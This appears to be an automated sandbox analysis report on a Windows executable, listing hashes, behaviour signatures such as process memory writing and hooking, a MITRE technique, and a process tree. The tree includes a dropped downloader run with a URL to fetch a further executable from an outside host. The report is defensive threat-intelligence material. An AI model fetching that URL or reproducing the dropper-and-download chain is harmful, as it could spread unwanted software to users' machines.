2cff53385ef88bafd89edd5dc3ba0cfcbfe6687e8639b624533c8d788f3b9df1

Analysis

max time kernel
119s
max time network
123s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
26-12-2023 07:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5d0e61c6118a8c5dafa089299a7f19b2.exe
Size

196KB
MD5

5d0e61c6118a8c5dafa089299a7f19b2
SHA1

56716ec76741177d67dbcbbd5022900680949e77
SHA256

2cff53385ef88bafd89edd5dc3ba0cfcbfe6687e8639b624533c8d788f3b9df1
SHA512

5ed25cfb891427f8713fc6270c97f0b10ffe687a2c702070f6fa1619f18598549e46747c6fd0496c66891d60eb86b687f8ca1311366ad4281d0c388935b4ee8a
SSDEEP

6144:FTfFDbRnOTrPAeFqOAmJDyCTkT3Nq2le4ctvMoIvj:b5OAeFHDTd2le7Gj

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2940	fdn21.exe

Loads dropped DLL 1 IoCs

pid	Process
1320	5d0e61c6118a8c5dafa089299a7f19b2.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2940	fdn21.exe
2940	fdn21.exe
2940	fdn21.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1320 wrote to memory of 2940	1320	5d0e61c6118a8c5dafa089299a7f19b2.exe	28
PID 1320 wrote to memory of 2940	1320	5d0e61c6118a8c5dafa089299a7f19b2.exe	28
PID 1320 wrote to memory of 2940	1320	5d0e61c6118a8c5dafa089299a7f19b2.exe	28
PID 1320 wrote to memory of 2940	1320	5d0e61c6118a8c5dafa089299a7f19b2.exe	28
PID 1320 wrote to memory of 2940	1320	5d0e61c6118a8c5dafa089299a7f19b2.exe	28
PID 1320 wrote to memory of 2940	1320	5d0e61c6118a8c5dafa089299a7f19b2.exe	28
PID 1320 wrote to memory of 2940	1320	5d0e61c6118a8c5dafa089299a7f19b2.exe	28

C:\Users\Admin\AppData\Local\Temp\5d0e61c6118a8c5dafa089299a7f19b2.exe
"C:\Users\Admin\AppData\Local\Temp\5d0e61c6118a8c5dafa089299a7f19b2.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1320
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\fdn21.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\fdn21.exe" "http://download.youbak.com/msn/software/partner/PARTNER2056.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

\Users\Admin\AppData\Local\Temp\RarSFX0\fdn21.exe

Filesize
228KB

MD5
e1070592a229cca6237a8d2009e242ff

SHA1
69456a105adb38867a181d73e20c7181d9e903be

SHA256
26e1c3841129fe340ceba8a9d2baeaa34bf6165ce0ffa1fdca2cca1141f36398

SHA512
ade43347723bc863f0630c151d7698072314096b9c5cde4b1b2ac4a124dc57860dc34accd844d205e2c78337acbcd7c928a6f8bcac271d410f4e4600c0d4cb80

Download Submit
memory/1320-8-0x0000000000400000-0x0000000000423000-memory.dmp

Filesize
140KB

Download